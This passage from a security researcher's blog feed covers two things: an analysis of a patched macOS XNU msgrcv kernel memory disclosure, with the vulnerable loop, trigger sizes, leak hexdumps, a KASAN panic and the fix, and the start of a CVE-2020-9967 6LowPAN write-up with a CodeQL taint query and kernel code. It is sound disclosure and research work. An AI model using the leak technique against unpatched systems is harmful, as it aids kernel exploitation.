<span class="p">{</span>
	<span class="kt">int</span> <span class="n">msqid</span> <span class="o">=</span> <span class="n">uap</span><span class="o">-&gt;</span><span class="n">msqid</span><span class="p">;</span>
	<span class="n">user_addr_t</span> <span class="n">user_msgp</span> <span class="o">=</span> <span class="n">uap</span><span class="o">-&gt;</span><span class="n">msgp</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">msgsz</span> <span class="o">=</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">uap</span><span class="o">-&gt;</span><span class="n">msgsz</span><span class="p">;</span>      <span class="cm">/* limit to 4G */</span>
</code></pre></div></div>

<p>If the size requested by userspace is greater than the size sent to the kernel initially (using the <code class="language-plaintext highlighter-rouge">msgsnd</code> function) then msgsz is truncated to the sender size.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">if</span> <span class="p">(</span><span class="n">msgsz</span> <span class="o">&gt;</span> <span class="n">msghdr</span><span class="o">-&gt;</span><span class="n">msg_ts</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">msgsz</span> <span class="o">=</span> <span class="n">msghdr</span><span class="o">-&gt;</span><span class="n">msg_ts</span><span class="p">;</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>A loop is then used to copyout this data from the kernel msgpool into userspace:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">for</span> <span class="p">(</span><span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">len</span> <span class="o">&lt;</span> <span class="n">msgsz</span><span class="p">;</span> <span class="n">len</span> <span class="o">+=</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">size_t</span> <span class="n">tlen</span><span class="p">;</span>

		<span class="cm">/* compare input (size_t) value against restrict (int) value */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">msgsz</span> <span class="o">&gt;</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">tlen</span> <span class="o">=</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">tlen</span> <span class="o">=</span> <span class="n">msgsz</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">next</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">panic</span><span class="p">(</span><span class="s">"next too low #3"</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">next</span> <span class="o">&gt;=</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgseg</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">panic</span><span class="p">(</span><span class="s">"next out of range #3"</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="n">SYSV_MSG_SUBSYS_UNLOCK</span><span class="p">();</span>
		<span class="n">eval</span> <span class="o">=</span> <span class="n">copyout</span><span class="p">(</span><span class="o">&amp;</span><span class="n">msgpool</span><span class="p">[</span><span class="n">next</span> <span class="o">*</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">],</span>
		    <span class="n">user_msgp</span><span class="p">,</span> <span class="n">tlen</span><span class="p">);</span>

</code></pre></div></div>

<p>msginfo.msgsize is <code class="language-plaintext highlighter-rouge">#define MSGSSZ  8 /* Each segment must be 2^N long */</code></p>

<p>If we examine the check in more detail we can see that if <code class="language-plaintext highlighter-rouge">msgsz &gt; (size_t)msginfo.msgssz</code> i.e if the sender message size is greater than 8, then tlen will be set to 8. 8 bytes will then by copied out from kernel space to userspace and the len count incremented by 8 bytes.</p>

<p>As this size is controlled as a userspace argument to <code class="language-plaintext highlighter-rouge">msgsnd</code>, there is a problem here if the msgsnd <code class="language-plaintext highlighter-rouge">SYS_msgsnd_nocancel</code> is not a multiple of 8.</p>

<p>For example, if we use <code class="language-plaintext highlighter-rouge">SYS_msgsnd_nocancel</code> of 9 bytes which will set the msghdr-&gt;msg_ts to 9. Therefore tlen will be set to 8 bytes on each iteration of the loop. Therefore the first loop will copyout 8 bytes, then second loop will copy out 8 bytes and the loop will terminate. This will lead to 7 bytes being leaked. This primitive gives an attacker the ability to leak out between 1 and 7 bytes of uninitialized data following the sent message.</p>

<p>As the message pool memory is MALLOC’d without the <code class="language-plaintext highlighter-rouge">M_ZERO</code> flag being set:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">msgpool</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">_MALLOC</span><span class="p">(</span><span class="n">msginfo</span><span class="p">.</span><span class="n">msgmax</span><span class="p">,</span> <span class="n">M_SHM</span><span class="p">,</span> <span class="n">M_WAITOK</span><span class="p">);</span>
</code></pre></div></div>

<p>As an example we can set msgsnd msgsz as 17, this will copy 2 segments each of 8 bytes (starting at 0x41), then a segment containing 1 byte of sent data and the final 7 bytes leaked data.</p>

<p>We can see this has been initialized with the fill pattern of <code class="language-plaintext highlighter-rouge">0xbe</code> under the KSAN kernel, demonstrating disclosure of the uninitialized kernel memory following the sent message:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msgid is 65536
Vuln:
  0000  03 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41  ........AAAAAAAA
  0010  42 0b 85 ea fe 7f 00 00 32 be be be be be be be  B.......2.......
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0080  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00b0  00 00 00 00                                      ....
Leaked address: 0xbebebebebebebe32

</code></pre></div></div>

<p>Under KASAN:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>panic(cpu 0 caller 0xffffff8001b05179): "KASan: invalid 7-byte leak from 0xffffff803891d001 [VALID]
 Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
 fffff7f0071239b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 fffff7f0071239f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 fffff7f007123a00:[00]00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 fffff7f007123a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

"@/AppleInternal/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu_kasan/xnu-6153.141.1/san/kasan.c:509
Backtrace (CPU 0), Frame : Return Address
0xffffff8866ccf440 : 0xffffff8000473134 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8866ccf490 : 0xffffff800081047c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8866ccf4d0 : 0xffffff80007fc537 mach_kernel : _kernel_trap + 0xa87
0xffffff8866ccf560 : 0xffffff80008171d0 mach_kernel : trap_from_kernel + 0x26
0xffffff8866ccf580 : 0xffffff8000472a2e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8866ccf6a0 : 0xffffff8001af5646 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8866ccf6f0 : 0xffffff8000473636 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8866ccf740 : 0xffffff8001af5294 mach_kernel : _panic + 0x54
0xffffff8866ccf7b0 : 0xffffff8001b05179 mach_kernel : _kasan_report_internal.cold.1 + 0x19
0xffffff8866ccf7c0 : 0xffffff8001aea3cd mach_kernel : _kasan_report_internal + 0x34d
0xffffff8866ccf840 : 0xffffff8001ae7f13 mach_kernel : _kasan_crash_report + 0x33
0xffffff8866ccf870 : 0xffffff8001ae7a17 mach_kernel : _kasan_violation + 0x277
0xffffff8866ccfa30 : 0xffffff8001ae7bd1 mach_kernel : _kasan_check_uninitialized + 0x161
0xffffff8866ccfc30 : 0xffffff80007dc2be mach_kernel : _copyio + 0x27e
0xffffff8866ccfd50 : 0xffffff8001558383 mach_kernel : _msgrcv_nocancel + 0x9f3
0xffffff8866ccfee0 : 0xffffff800178fc20 mach_kernel : _unix_syscall64 + 0x890
0xffffff8866ccffa0 : 0xffffff8000817996 mach_kernel : _hndl_unix_scall64 + 0x16
</code></pre></div></div>

<p>In the fix we can see the following change was made to copy a full segment or less if at the end of the message:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">for</span> <span class="p">(</span><span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">len</span> <span class="o">&lt;</span> <span class="n">msgsz</span><span class="p">;</span> <span class="n">len</span> <span class="o">+=</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">size_t</span> <span class="n">tlen</span><span class="p">;</span>

		<span class="cm">/*
		 * copy the full segment, or less if we're at the end
		 * of the message
		 */</span>
		<span class="n">tlen</span> <span class="o">=</span> <span class="n">MIN</span><span class="p">(</span><span class="n">msgsz</span> <span class="o">-</span> <span class="n">len</span><span class="p">,</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">next</span> <span class="o">&lt;=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">panic</span><span class="p">(</span><span class="s">"next too low #3"</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">next</span> <span class="o">&gt;=</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgseg</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">panic</span><span class="p">(</span><span class="s">"next out of range #3"</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="n">SYSV_MSG_SUBSYS_UNLOCK</span><span class="p">();</span>
		<span class="n">eval</span> <span class="o">=</span> <span class="n">copyout</span><span class="p">(</span><span class="o">&amp;</span><span class="n">msgpool</span><span class="p">[</span><span class="n">next</span> <span class="o">*</span> <span class="n">msginfo</span><span class="p">.</span><span class="n">msgssz</span><span class="p">],</span>
		    <span class="n">user_msgp</span><span class="p">,</span> <span class="n">tlen</span><span class="p">);</span>
</code></pre></div></div>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><category term="iOS" /><summary type="html"><![CDATA[The msgrcv_nocancel syscall could disclose uninitialized memory from kernel space into userspace. This is due to an incorrect calculation being performed when copying the memory.]]></summary></entry><entry><title type="html">CVE-2020-9967 - Apple macOS 6LowPAN Vulnerability</title><link href="https://alexplaskett.github.io/CVE-2020-9967/" rel="alternate" type="text/html" title="CVE-2020-9967 - Apple macOS 6LowPAN Vulnerability" /><published>2020-12-22T00:00:00+00:00</published><updated>2020-12-22T00:00:00+00:00</updated><id>https://alexplaskett.github.io/CVE-2020-9967</id><content type="html" xml:base="https://alexplaskett.github.io/CVE-2020-9967/"><![CDATA[<p>Inspired by <a href="https://twitter.com/kevin_backhouse">Kevin Backhouse’s</a> great work on finding <a href="https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407">XNU remote vulnerabilities</a> I decided to spend some time looking at <a href="https://securitylab.github.com/tools/codeql">CodeQL</a> and performing some variant analysis. This lead to the discovery of a local root to kernel (although documented by Apple as remote) vulnerability within the 6LowPAN code of macOS 10.15.4.</p>

<p>The issue was reported to Apple on the 11th of May 2020.</p>

<p>This issue was assigned CVE-2020-9967 and the fix included within the following security update:</p>
<ul>
  <li><a href="https://support.apple.com/en-us/HT212011">macOS Big Sur</a></li>
</ul>

<p>On the 5th of December 2020, Apple stated that the CVE had been published for all applicable platforms.</p>

<h1 id="bug-discovery">Bug Discovery</h1>

<p>In XNU, inbound and outbound network packets are stored within a unit of memory management called an mbuf. The data is typically read or written to mbuf’s by the OS’s networking stack code.</p>

<p>My thought process was that I could define a simple <a href="https://help.semmle.com/QL/learn-ql/cpp/dataflow.html">taint tracking</a> query to find any untrusted sources of network data (the source) which would end up tainting the size argument of a memory copying operation (the sink). I initially started by modifying the query from <a href="https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407">here</a> to look for the source <code class="language-plaintext highlighter-rouge">m_mtod</code> and the sink <code class="language-plaintext highlighter-rouge">builtin___memcpy_chk</code>. This lead to no results being found. However, within XNU bcopy is used quite heavily, this ends up as <code class="language-plaintext highlighter-rouge">builtin___memmove_chk</code> so the query was modified as follows:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">import</span> <span class="n">cpp</span>
<span class="n">import</span> <span class="n">semmle</span><span class="p">.</span><span class="n">code</span><span class="p">.</span><span class="n">cpp</span><span class="p">.</span><span class="n">dataflow</span><span class="p">.</span><span class="n">TaintTracking</span>
<span class="n">import</span> <span class="n">DataFlow</span><span class="o">::</span><span class="n">PathGraph</span>
<span class="n">import</span> <span class="n">semmle</span><span class="p">.</span><span class="n">code</span><span class="p">.</span><span class="n">cpp</span><span class="p">.</span><span class="n">rangeanalysis</span><span class="p">.</span><span class="n">SimpleRangeAnalysis</span>

<span class="k">class</span> <span class="nc">Config</span> <span class="n">extends</span> <span class="n">TaintTracking</span><span class="o">::</span><span class="n">Configuration</span> <span class="p">{</span>
  <span class="n">Config</span><span class="p">()</span> <span class="p">{</span> <span class="k">this</span> <span class="o">=</span> <span class="s">"sixlowpan_flow"</span> <span class="p">}</span>

  <span class="k">override</span> <span class="n">predicate</span> <span class="n">isSource</span><span class="p">(</span><span class="n">DataFlow</span><span class="o">::</span><span class="n">Node</span> <span class="n">source</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">source</span><span class="p">.</span><span class="n">asExpr</span><span class="p">().(</span><span class="n">FunctionCall</span><span class="p">).</span><span class="n">getTarget</span><span class="p">().</span><span class="n">getName</span><span class="p">()</span> <span class="o">=</span> <span class="s">"m_mtod"</span>
  <span class="p">}</span>

  <span class="k">override</span> <span class="n">predicate</span> <span class="n">isSink</span><span class="p">(</span><span class="n">DataFlow</span><span class="o">::</span><span class="n">Node</span> <span class="n">sink</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">exists</span> <span class="p">(</span><span class="n">FunctionCall</span> <span class="n">call</span>
    <span class="o">|</span> <span class="n">call</span><span class="p">.</span><span class="n">getArgument</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="n">sink</span><span class="p">.</span><span class="n">asExpr</span><span class="p">()</span> <span class="n">and</span>
      <span class="n">call</span><span class="p">.</span><span class="n">getTarget</span><span class="p">().</span><span class="n">getName</span><span class="p">()</span> <span class="o">=</span> <span class="s">"__builtin___memmove_chk"</span> <span class="p">)</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="n">from</span> <span class="n">Config</span> <span class="n">cfg</span><span class="p">,</span> <span class="n">DataFlow</span><span class="o">::</span><span class="n">PathNode</span> <span class="n">source</span><span class="p">,</span> <span class="n">DataFlow</span><span class="o">::</span><span class="n">PathNode</span> <span class="n">sink</span>
<span class="n">where</span> <span class="n">cfg</span><span class="p">.</span><span class="n">hasFlowPath</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">sink</span><span class="p">)</span>
<span class="n">select</span> <span class="n">sink</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">sink</span><span class="p">,</span> <span class="s">"memmove with tainted size."</span>
</code></pre></div></div>

<p>Running this query gave me about 15 results with the vulnerability I identified being one of them.</p>

<p>Looking through the results I identified this this flow worthy of manual investigation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1</span>	<span class="n">call</span> <span class="n">to</span> <span class="n">m_mtod</span> 	<span class="n">if_6lowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">623</span><span class="o">:</span><span class="mi">2</span>
<span class="mi">2</span>	<span class="n">len</span> 	<span class="n">if_6lowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">663</span><span class="o">:</span><span class="mi">41</span>
<span class="mi">3</span>	<span class="n">ref</span> <span class="n">arg</span> <span class="o">&amp;</span> <span class="p">...</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">if_6lowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">663</span><span class="o">:</span><span class="mi">46</span>
<span class="mi">4</span>	<span class="o">&amp;</span> <span class="p">...</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">if_6lowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">666</span><span class="o">:</span><span class="mi">19</span>
<span class="mi">5</span>	<span class="n">ieee02154hdr</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">882</span><span class="o">:</span><span class="mi">38</span>
<span class="mi">6</span>	<span class="n">ieee02154hdr</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">886</span><span class="o">:</span><span class="mi">32</span>
<span class="mi">7</span>	<span class="n">ieee02154hdr</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">819</span><span class="o">:</span><span class="mi">43</span>
<span class="mi">8</span>	<span class="n">ieee02154hdr</span> <span class="p">[</span><span class="n">payload_len</span><span class="p">]</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">855</span><span class="o">:</span><span class="mi">7</span>
<span class="mi">9</span>	<span class="n">payload_len</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">855</span><span class="o">:</span><span class="mi">21</span>
<span class="mi">10</span>	<span class="p">...</span> <span class="o">-</span> <span class="p">...</span> 	<span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">855</span><span class="o">:</span><span class="mi">7</span>
</code></pre></div></div>

<p>This demonstrates the power of having customised CodeQL queries available for a code base to identify common bug patterns.</p>

<p>Before I dive into the vulnerability I found here, it helps to have some background of 6LowPAN.</p>

<h1 id="6lowpan">6LowPAN</h1>

<p>It turns out as part of macOS Catalina 10.15, Apple quietly introduced support for 6LowPAN <a href="https://tools.ietf.org/html/rfc4919">6LowPAN</a> and IEEE 802.15.4 into the <a href="https://opensource.apple.com/source/xnu/xnu-6153.11.26/">XNU kernel</a>. Any substantial changes introduced into xnu warrant investigation as those are likely source of new vulnerabilities being introduced. 6LowPAN stands for “IPv6 over Low-Power Wireless Persona Area Networks”, which as implied by the name is a networking technology which allows IPv6 packets to be effectively carried within small link layer frames such as <a href="https://standards.ieee.org/content/ieee-standards/en/standard/802_15_4-2020.html">IEEE 802.15.4</a>.</p>

<p>The relevant RFCs for this protocol are <a href="https://tools.ietf.org/html/rfc4944">RFC4944</a>, <a href="https://tools.ietf.org/html/rfc6282">RFC6282</a> and <a href="https://tools.ietf.org/html/rfc6775">RFC6775</a>.</p>

<p>To give some background, IEEE 802.15.4 is the standard which defines the operation of low-rate wireless personal area networks (LR-WPAN) and specifies the physical layer and media access layer for LR-WPANs. 6LowPAN extends that standard by providing the upper layers not defined in 802.15.4. A popular IoT protocol <a href="https://www.threadgroup.org/what-Is-thread">Thread</a> makes use of 6LowPAN, which incidentally Apple joined the <a href="https://9to5mac.com/2018/08/06/apple-the-thread-group/">Thread Working Group</a> in 2018… :).</p>

<p>In the context of the XNU kernel sources, <code class="language-plaintext highlighter-rouge">frame802154.c</code> contains the implementation of 802.15.4 frame creation and parsing. <code class="language-plaintext highlighter-rouge">if_6lowpan.c</code> contains the code related to a 6LowPAN network interface and <code class="language-plaintext highlighter-rouge">sixlowpan.c</code> the 6LowPAN compression and uncompression. Large parts of this have been taken from the <a href="https://www.contiki-ng.org/">Contiki OS</a> with Apple modifications and wrapper code.</p>

<p>There is no public documentation on this and the only public mention is regarding Thread <a href="https://www.apple.com/uk/homepod-mini/specs/">HomePod mini</a>.</p>

<h2 id="ieee-802154-frame-format">IEEE 802.15.4 Frame Format</h2>

<p>Layer 2 (the MAC layer within the stack) is defined within IEEE Std 802.15.4-2015 in the ‘General MAC Frame Format’ section 7.2:</p>

<p><img src="https://alexplaskett.github.io/images/802154_mac.png" alt="802.15.4 Frame" /></p>

<p>The frame control field is as follows:</p>

<p><img src="https://alexplaskett.github.io/images/802154_fcf.png" alt="802.15.4 FCF" /></p>

<p>IPv6 packets MUST be carried on data frames. These details will be important when we discuss the parsing of this within the XNU codebase in the “Vulnerability Section”. One the frame has been parsed to determine the header, then the payload section is handled.</p>

<h2 id="lowpan-payload">LoWPAN Payload</h2>

<p>Due to a full IPv6 packet not fitting within a IEEE 802.15.4 frame, an adaptation layer must be provided to comply with the IPv6
requirements of a minimum MTU. The standard also defines the the use of header compression, as it is expected that most applications will use IP over IEEE 802.15.4</p>

<p>The LoWPAN payload (e.g., an IPv6 packet) thus follows the encapsulation header as described above.</p>

<p>Its worth keeping in mind that an IPv6 header is 40 octets long too.</p>

<p>In the initial standard, <code class="language-plaintext highlighter-rouge">LOWPAN_HC1</code> compressed IPv6 datagrams are defined. This means that 6LowPAN payloads are compressed when recieved. This too will be an important observation when understanding the vulnerablity.</p>

<h2 id="data-link-layer-dispatching">Data Link Layer Dispatching</h2>

<p>The question is, how do we get 6LowPAN frames to an Apple device and will they be handled automatically? Digging into the code we can see the ability for the data link layer to dispatch frames of this type.</p>

<p>Initially we can send an ethernet packet which will be handled by the demux function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span>
<span class="nf">ether_demux</span><span class="p">(</span><span class="n">ifnet_t</span> <span class="n">ifp</span><span class="p">,</span> <span class="n">mbuf_t</span> <span class="n">m</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">frame_header</span><span class="p">,</span>
    <span class="n">protocol_family_t</span> <span class="o">*</span><span class="n">protocol_family</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">ether_header</span> <span class="o">*</span><span class="n">eh</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">ether_header</span> <span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">frame_header</span><span class="p">;</span>
	<span class="n">u_short</span>  <span class="n">ether_type</span> <span class="o">=</span> <span class="n">eh</span><span class="o">-&gt;</span><span class="n">ether_type</span><span class="p">;</span>
	<span class="n">u_int16_t</span> <span class="n">type</span><span class="p">;</span>
	<span class="n">u_int8_t</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>
	<span class="n">u_int32_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">ether_desc_blk_str</span> <span class="o">*</span><span class="n">desc_blk</span> <span class="o">=</span>
	    <span class="p">(</span><span class="k">struct</span> <span class="n">ether_desc_blk_str</span> <span class="o">*</span><span class="p">)</span><span class="n">ifp</span><span class="o">-&gt;</span><span class="n">if_family_cookie</span><span class="p">;</span>
	<span class="n">u_int32_t</span> <span class="n">maxd</span> <span class="o">=</span> <span class="n">desc_blk</span> <span class="o">?</span> <span class="n">desc_blk</span><span class="o">-&gt;</span><span class="n">n_max_used</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">en_desc</span>  <span class="o">*</span><span class="n">ed</span> <span class="o">=</span> <span class="n">desc_blk</span> <span class="o">?</span> <span class="n">desc_blk</span><span class="o">-&gt;</span><span class="n">block_ptr</span> <span class="o">:</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">u_int32_t</span> <span class="n">extProto1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">u_int32_t</span> <span class="n">extProto2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">eh</span><span class="o">-&gt;</span><span class="n">ether_dhost</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/* Check for broadcast */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">_ether_cmp</span><span class="p">(</span><span class="n">etherbroadcastaddr</span><span class="p">,</span> <span class="n">eh</span><span class="o">-&gt;</span><span class="n">ether_dhost</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">m</span><span class="o">-&gt;</span><span class="n">m_flags</span> <span class="o">|=</span> <span class="n">M_BCAST</span><span class="p">;</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">m</span><span class="o">-&gt;</span><span class="n">m_flags</span> <span class="o">|=</span> <span class="n">M_MCAST</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">m</span><span class="o">-&gt;</span><span class="n">m_flags</span> <span class="o">&amp;</span> <span class="n">M_HASFCS</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/*
		 * If the M_HASFCS is set by the driver we want to make sure
		 * that we strip off the trailing FCS data before handing it
		 * up the stack.
		 */</span>
		<span class="n">m_adj</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="o">-</span><span class="n">ETHER_CRC_LEN</span><span class="p">);</span>
		<span class="n">m</span><span class="o">-&gt;</span><span class="n">m_flags</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="n">M_HASFCS</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">((</span><span class="n">eh</span><span class="o">-&gt;</span><span class="n">ether_dhost</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="cm">/*
		 * When the driver is put into promiscuous mode we may receive
		 * unicast frames that are not intended for our interfaces.
		 * They are marked here as being promiscuous so the caller may
		 * dispose of them after passing the packets to any interface
		 * filters.
		 */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">_ether_cmp</span><span class="p">(</span><span class="n">eh</span><span class="o">-&gt;</span><span class="n">ether_dhost</span><span class="p">,</span> <span class="n">IF_LLADDR</span><span class="p">(</span><span class="n">ifp</span><span class="p">)))</span> <span class="p">{</span>
			<span class="n">m</span><span class="o">-&gt;</span><span class="n">m_flags</span> <span class="o">|=</span> <span class="n">M_PROMISC</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="cm">/* check for IEEE 802.15.4 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ether_type</span> <span class="o">==</span> <span class="n">htons</span><span class="p">(</span><span class="n">ETHERTYPE_IEEE802154</span><span class="p">))</span> <span class="p">{</span>
		<span class="o">*</span><span class="n">protocol_family</span> <span class="o">=</span> <span class="n">PF_802154</span><span class="p">;</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>If the ether_type within the ethernet header is <code class="language-plaintext highlighter-rouge">ETHERTYPE_IEEE802154</code>, then we will set our protocol_family to <code class="language-plaintext highlighter-rouge">PF_802154</code>.</p>

<p>Now in the default configuration, this protocol_family will not be handled unless a 6lowpan interface is configured which results in the following code registering a function <code class="language-plaintext highlighter-rouge">sixlowpan_input</code> which will be called when processing an 802.15.4 frame.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * Function: sixlowpan_attach_protocol
 * Purpose:
 *   Attach a DLIL protocol to the interface
 *	 The ethernet demux actually special cases 802.15.4.
 *	 The demux here isn't used. The demux will return PF_802154 for the
 *	 appropriate packets and our sixlowpan_input function will be called.
 */</span>
<span class="k">static</span> <span class="kt">int</span>
<span class="nf">sixlowpan_attach_protocol</span><span class="p">(</span><span class="k">struct</span> <span class="n">ifnet</span> <span class="o">*</span><span class="n">ifp</span><span class="p">)</span>
<span class="p">{</span>
